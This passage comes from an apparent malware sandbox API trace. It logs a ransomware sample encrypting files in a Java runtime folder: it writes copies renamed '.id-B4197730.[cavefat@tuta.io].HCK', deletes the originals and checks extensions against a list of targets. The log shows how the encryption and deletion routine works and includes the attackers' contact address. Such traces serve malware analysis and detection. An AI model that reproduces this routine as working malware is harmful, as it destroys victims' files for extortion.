Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0227.148] GetLastError () returned 0x0 [0227.148] ReadFile (in: hFile=0x498, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x5434c, lpOverlapped=0x0) returned 1 [0227.470] WriteFile (in: hFile=0x3e4, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x54350, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x54350, lpOverlapped=0x0) returned 1 [0227.478] ReadFile (in: hFile=0x498, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0227.478] WriteFile (in: hFile=0x3e4, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x102, lpOverlapped=0x0) returned 1 [0227.478] SetEndOfFile (hFile=0x3e4) returned 1 [0227.478] CloseHandle (hObject=0x3e4) returned 1 [0227.478] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.478] SetEndOfFile (hFile=0x498) returned 1 [0227.487] CloseHandle (hObject=0x498) returned 1 [0227.487] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0227.488] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf")) returned 1 [0227.488] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0227.488] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0227.488] lstrlenW (lpString=".doc") returned 4 [0227.488] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0227.488] lstrlenW (lpString=".docx") returned 5 [0227.488] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1 [0227.488] lstrlenW (lpString=".pdf") returned 4 [0227.488] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0227.488] lstrlenW (lpString=".xls") returned 4 [0227.488] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0227.488] lstrlenW (lpString=".xlsx") returned 5 [0227.488] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1 [0227.488] lstrlenW (lpString=".ppt") returned 4 [0227.488] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0227.489] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0227.489] lstrlenW (lpString=".zip") returned 4 [0227.489] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0227.489] lstrlenW (lpString=".rar") returned 4 [0227.489] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0227.489] lstrlenW (lpString=".bz2") returned 4 [0227.489] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0227.489] lstrlenW (lpString=".7z") returned 3 [0227.489] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0227.489] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0227.489] lstrlenW (lpString=".dbf") returned 4 [0227.489] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0227.489] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0227.489] lstrlenW (lpString=".1cd") returned 4 [0227.489] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0227.489] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0227.489] lstrlenW (lpString=".jpg") returned 4 [0227.489] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0227.489] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0227.489] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0227.489] lstrlenW (lpString=".doc") returned 4 [0227.489] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0227.489] lstrlenW (lpString=".docx") returned 5 [0227.489] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1 [0227.489] lstrlenW (lpString=".pdf") returned 4 [0227.489] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0227.489] lstrlenW (lpString=".xls") returned 4 [0227.489] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0227.489] lstrlenW (lpString=".xlsx") returned 5 [0227.489] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1 [0227.489] lstrlenW (lpString=".ppt") returned 4 [0227.489] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0227.489] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0227.489] lstrlenW (lpString=".zip") returned 4 [0227.489] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0227.489] lstrlenW (lpString=".rar") returned 4 [0227.489] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0227.489] lstrlenW (lpString=".bz2") returned 4 [0227.489] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0227.489] lstrlenW (lpString=".7z") returned 3 [0227.489] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0227.489] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0227.489] lstrlenW (lpString=".dbf") returned 4 [0227.489] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0227.489] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0227.489] lstrlenW (lpString=".1cd") returned 4 [0227.489] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0227.489] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0227.489] lstrlenW (lpString=".jpg") returned 4 [0227.489] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0227.490] lstrcmpiW (lpString1=".properties", lpString2=".HCK") returned 1 [0227.490] lstrlenW (lpString="hijrah-config-umalqura.properties") returned 33 [0227.490] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0227.490] GetFileSizeEx (in: hFile=0x498, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=13962) returned 1 [0227.490] CloseHandle (hObject=0x498) returned 1 [0227.490] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties")) returned 0x20 [0227.490] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0227.490] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0227.491] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.491] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.491] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0227.491] GetLastError () returned 0x0 [0227.491] ReadFile (in: hFile=0x498, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x368a, lpOverlapped=0x0) returned 1 [0227.493] WriteFile (in: hFile=0x3e4, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x3690, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x3690, lpOverlapped=0x0) returned 1 [0227.494] ReadFile (in: hFile=0x498, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0227.494] WriteFile (in: hFile=0x3e4, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x116, lpOverlapped=0x0) returned 1 [0227.494] SetEndOfFile (hFile=0x3e4) returned 1 [0227.494] CloseHandle (hObject=0x3e4) returned 1 [0227.494] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.494] SetEndOfFile (hFile=0x498) returned 1 [0227.497] CloseHandle (hObject=0x498) returned 1 [0227.497] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0227.497] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties")) returned 1 [0227.498] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0227.498] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0227.498] lstrlenW (lpString=".doc") returned 4 [0227.498] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0227.498] lstrlenW (lpString=".docx") returned 5 [0227.498] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0227.498] lstrlenW (lpString=".pdf") returned 4 [0227.498] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0227.498] lstrlenW (lpString=".xls") returned 4 [0227.498] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0227.498] lstrlenW (lpString=".xlsx") returned 5 [0227.498] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0227.498] lstrlenW (lpString=".ppt") returned 4 [0227.498] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0227.498] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0227.498] lstrlenW (lpString=".zip") returned 4 [0227.498] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0227.498] lstrlenW (lpString=".rar") returned 4 [0227.498] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0227.498] lstrlenW (lpString=".bz2") returned 4 [0227.498] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0227.498] lstrlenW (lpString=".7z") returned 3 [0227.498] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0227.498] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0227.498] lstrlenW (lpString=".dbf") returned 4 [0227.498] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0227.498] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0227.498] lstrlenW (lpString=".1cd") returned 4 [0227.498] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0227.498] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0227.498] lstrlenW (lpString=".jpg") returned 4 [0227.498] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0227.498] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0227.499] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0227.499] lstrlenW (lpString=".doc") returned 4 [0227.499] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0227.499] lstrlenW (lpString=".docx") returned 5 [0227.499] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0227.499] lstrlenW (lpString=".pdf") returned 4 [0227.499] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0227.499] lstrlenW (lpString=".xls") returned 4 [0227.499] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0227.499] lstrlenW (lpString=".xlsx") returned 5 [0227.499] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0227.499] lstrlenW (lpString=".ppt") returned 4 [0227.499] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0227.499] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0227.499] lstrlenW (lpString=".zip") returned 4 [0227.499] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0227.499] lstrlenW (lpString=".rar") returned 4 [0227.499] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0227.499] lstrlenW (lpString=".bz2") returned 4 [0227.499] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0227.499] lstrlenW (lpString=".7z") returned 3 [0227.499] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0227.499] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0227.499] lstrlenW (lpString=".dbf") returned 4 [0227.499] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0227.499] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0227.499] lstrlenW (lpString=".1cd") returned 4 [0227.499] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0227.499] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0227.499] lstrlenW (lpString=".jpg") returned 4 [0227.499] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0227.499] lstrcmpiW (lpString1=".properties", lpString2=".HCK") returned 1 [0227.499] lstrlenW (lpString="cursors.properties") returned 18 [0227.499] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0227.502] GetFileSizeEx (in: hFile=0x498, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=1280) returned 1 [0227.502] CloseHandle (hObject=0x498) returned 1 [0227.502] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties")) returned 0x20 [0227.502] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0227.502] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0227.502] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.502] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.502] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0227.626] GetLastError () returned 0x0 [0227.626] ReadFile (in: hFile=0x498, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x500, lpOverlapped=0x0) returned 1 [0227.628] WriteFile (in: hFile=0x4bc, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x510, lpOverlapped=0x0) returned 1 [0227.628] ReadFile (in: hFile=0x498, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0227.628] WriteFile (in: hFile=0x4bc, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0xf8, lpOverlapped=0x0) returned 1 [0227.629] SetEndOfFile (hFile=0x4bc) returned 1 [0227.629] CloseHandle (hObject=0x4bc) returned 1 [0227.629] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.629] SetEndOfFile (hFile=0x498) returned 1 [0227.631] CloseHandle (hObject=0x498) returned 1 [0227.631] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0227.631] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties")) returned 1 [0227.632] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0227.632] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0227.632] lstrlenW (lpString=".doc") returned 4 [0227.632] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0227.632] lstrlenW (lpString=".docx") returned 5 [0227.632] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0227.632] lstrlenW (lpString=".pdf") returned 4 [0227.632] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0227.632] lstrlenW (lpString=".xls") returned 4 [0227.632] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0227.632] lstrlenW (lpString=".xlsx") returned 5 [0227.632] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0227.632] lstrlenW (lpString=".ppt") returned 4 [0227.632] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0227.632] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0227.632] lstrlenW (lpString=".zip") returned 4 [0227.632] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0227.632] lstrlenW (lpString=".rar") returned 4 [0227.632] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0227.632] lstrlenW (lpString=".bz2") returned 4 [0227.632] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0227.632] lstrlenW (lpString=".7z") returned 3 [0227.632] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0227.632] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0227.632] lstrlenW (lpString=".dbf") returned 4 [0227.632] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0227.632] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0227.632] lstrlenW (lpString=".1cd") returned 4 [0227.632] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0227.632] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0227.632] lstrlenW (lpString=".jpg") returned 4 [0227.632] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0227.953] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0227.953] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0227.953] lstrlenW (lpString=".doc") returned 4 [0227.953] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0227.953] lstrlenW (lpString=".docx") returned 5 [0227.953] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0227.953] lstrlenW (lpString=".pdf") returned 4 [0227.953] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0227.953] lstrlenW (lpString=".xls") returned 4 [0227.953] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0227.953] lstrlenW (lpString=".xlsx") returned 5 [0227.953] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0227.953] lstrlenW (lpString=".ppt") returned 4 [0227.953] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0227.953] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0227.953] lstrlenW (lpString=".zip") returned 4 [0227.953] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0227.953] lstrlenW (lpString=".rar") returned 4 [0227.953] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0227.953] lstrlenW (lpString=".bz2") returned 4 [0227.953] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0227.953] lstrlenW (lpString=".7z") returned 3 [0227.953] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0227.953] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0227.953] lstrlenW (lpString=".dbf") returned 4 [0227.953] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0227.953] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0227.953] lstrlenW (lpString=".1cd") returned 4 [0227.953] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0227.953] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0227.953] lstrlenW (lpString=".jpg") returned 4 [0227.953] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0227.953] lstrcmpiW (lpString1=".jar", lpString2=".HCK") returned 1 [0227.953] lstrlenW (lpString="jce.jar") returned 7 [0227.953] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0227.954] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=116446) returned 1 [0227.954] CloseHandle (hObject=0x4cc) returned 1 [0227.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar")) returned 0x20 [0227.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0227.954] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0227.954] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.955] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.955] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0 [0227.957] GetLastError () returned 0x0 [0227.957] ReadFile (in: hFile=0x4cc, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x1c6de, lpOverlapped=0x0) returned 1 [0227.974] WriteFile (in: hFile=0x4d0, lpBuffer=0x3ad5020*, 